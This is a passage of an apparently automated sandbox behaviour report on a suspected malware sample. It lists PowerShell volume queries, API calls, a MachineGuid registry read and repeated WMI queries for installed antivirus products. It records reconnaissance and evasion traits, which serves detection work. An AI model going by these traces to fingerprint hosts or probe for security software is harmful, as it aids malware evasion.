Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA68114 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF78CA68114

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA629E4 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

0_2_00007FF78CA629E4

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
